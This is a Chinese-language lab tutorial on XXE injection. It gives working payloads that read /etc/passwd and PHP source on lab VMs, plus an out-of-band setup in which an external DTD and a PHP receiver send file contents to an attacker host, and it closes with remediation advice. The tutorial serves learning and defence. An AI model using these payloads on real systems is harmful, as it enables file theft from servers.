浅谈 XXE 漏洞任意文件读取
文章目录
0x00 前言
XXE Injection即 XML External Entity Injection,也就是XML外部实体注入攻击。通过XML实体,“SYSTEM” 关键词导致 XML 解析器可以从本地文件或远程 URL 中读取数据,所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。
危害如下:
- 读取任意文件
- DOS拒绝服务攻击
- 代理扫描内网端口
- 执行系统命令等
0x01 XML 基础知识
1.什么是XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言,XML文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。
XML 设计宗旨是传输数据,而非显示数据,各种应用程序之间数据传输中最常用的工具。
2.XML 语法
2.1 语法规则
- 所有元素都有一个闭合标签
- 可以自定义标签和自己的文档结构
- XML对大小写敏感
- XML 正确嵌套
- XML 属性值必须加 “”
- XML中注释:
<!-- 注释内容-->
- XML中,5个预定义实体引用,如下:
实体 | 实体符号 | 含义 |
---|---|---|
< | < | 小于 |
> | > | 大于 |
& | & | 和号 |
' | ’ | 单引号 |
" | ‘’ | 引号 |
2.2 XML 结构
XML 文档声明,在文档的第一行
XML 文档类型定义,即DTD,XXE 漏洞所在的地方
XML 文档元素
2.3 XML DTD(文档类型定义)
文档类型定义(DTD)可以是内部声明也可以引用外部 DTD
- 内部声明 DTD 格式:
<!DOCTYPE 根元素 [元素声明]>
- 引用外部 DTD 格式:
<!DOCTYPE 根元素 [元素声明]>
在DTD中进行实体声明时,将使用 ENTITY 关键字来声明。实体是用于定义引用普通稳定或特殊字符的快捷方式的变量。实体可在内部或外部进行声明
- 内部声明实体格式:
<!ENTITY 实体名称 "实体的值">
- 引用外部实体格式:
<!ENTITY 实体名称 SYSTEM "URL">
3.XML 注入时的两大要素
- 标签闭合
- 获取 XML 表结构
0x02 XXE 漏洞攻击
1.XXE 漏洞演示
XXE 漏洞攻击的测试地址: http://11.23.0.141/xxe.php
靶机:metasploitable2
xxe.php 代码
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>
打开burpsuite 截断
payload 如下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
在上面的代码中, XML 外部实体(外部实体在 XML 中被引用) xxe 被赋予的值为:file:///etc/passwd。在解析 XML 文档的过程中,实体 ‘xxe’ 的值会被替换为URI(file://etc/passwd)内容值(也就是 passwd 文件的内容)。 关键字 ‘SYSTEM’ 会告诉 XML 解析器,‘xxe’ 实体的值将从其后的 URI 中读取,并把读取的内容替换 xxe 出现的地方。
将 GET 请求修改为 POST 请求,添加payload
2.读取 PHP 文件
修改 payload 读取 xxe.php 文件,代码如下;
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
没有读取到文件内容,原因是 php 文件需要进行加密才能够被读取
修改 payload 代码如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
php 文件经过 base64 加密之后就可以正常读取了,在 Kali 中使用 base64 进行解密获取文本内容。
使用 burpsuite 解码 base64 结果为
0x03 XXE 漏洞代码分析
xxe.php 源码
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>
代码解释
1.file_get_contents()
https://www.w3school.com.cn/php/func_filesystem_file_get_contents.asp
file_get_contents() 函数吧整个文件读入一个字符串中。获取客户端输入的内容
php://input #是个可以访问请求的原始数据的只读流。
结合 file_get_contents(“php://input”) 可以读取POST提交的数据,存入 $xml
,
2.simplexml_load_string 函数介绍
php 中的 simplexml_load_string 函数将xml 格式字符串转换为对应的simpleXMLElementObject
3.XXE 注入的思路
- file_get_contents(“php://input”)可以读取 POST 提交的数据
- 那么我们通过 POST 提交 XML 代码,
- XML 代码中引用外部 DTD,读取黑客想要的系统文件
- 通过 simplexml_load_string()函数显示数据。
即通过 simplexml_load_string()函数将 XML 代码和引用的系统文件转换成 SimpleXMLElementObject 格式打印出来,此时加载的系统文件也会被打印出来。
0x04 无回显文件读取
1.实验环境介绍
将PentesterLab的 .iso 镜像直接导入即可
安装 PentesterLab 虚拟机
查看IP 地址
192.168.159.133
2.实验拓扑
实验环境描述:Kali 作为黑客并建立黑客接受和提交数据的Web 站点,PentesterLab 作为 sever被攻击端
3.Kali 服务器准备工作
需要建立一个外部的 DTD 文件,一个用于接受数据的 PHP 文件,以及存储数据的数据文件。
3.1 建立 DTD 外部实体文件
┌──(root💀fengzilin55)-[~]
└─# cd /var/www/html
┌──(root💀fengzilin55)-[/var/www/html]
└─# vim test.dtd
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.132/xxe.php?pass=%p1;'>">%p2;
注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用。
3.2 建立 php 文件
┌──(root💀fengzilin55)-[/var/www/html]
└─# vim xxe.php
<?php $pass=$_GET['pass']; file_put_contents('pass.txt',$pass); ?>
3.3 创建存储数据的文件
┌──(root💀fengzilin55)-[/var/www/html]
└─# touch pass.txt
3.4 修改文件权限
┌──(root💀fengzilin55)-[/var/www/html]
└─# chown -R www-data:www-data /var/www/html/*
3.5 启动 Apache2
┌──(root💀fengzilin55)-[/var/www/html]
└─# systemctl start apache2.service
3.6 测试 php 文件能够正常写入数据
┌──(root💀fengzilin55)-[/var/www/html]
└─# curl http://192.168.159.132/xxe.php?pass=1 ┌──(root💀fengzilin55)-[/var/www/html]
└─# cat pass.txt 1
4. 进行 XXE 攻击
Kali 中停止截断:
访问 PentesterLab 地址:http://192.168.159.133
开启 burpsuite 进行截断
直接点击登录,不需要输入用户名密码
使用 bp 将 get 请求改为 post 请求
payload 代码
<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.1.53/test.dtd">
<foo>&e1;</foo>
抓到的包修改以下内容
改:Content-Type: application/x-www-form-urlencoded
为:Content-Type: text/xml
去 kali 主机上查看
┌──(root💀fengzilin55)-[/var/www/html]
└─# cat pass.txt
0x05 XXE 漏洞修复建议
1.升级 libxml 版本
libxml 2.9.0以后,默认不解析外部实体,或者禁止使用外部实体.
http://www.linuxfromscratch.org/blfs/view/cvs/general/libxml2.html
2.代码层防御
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的 XML 数据
关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC。
0x06 总结
本章节学习了,XXE 的漏洞,以及介绍了 XML 是什么,以及无回显文件怎么读取的详细步骤
参考文档
https://www.freebuf.com/vuls/263348.html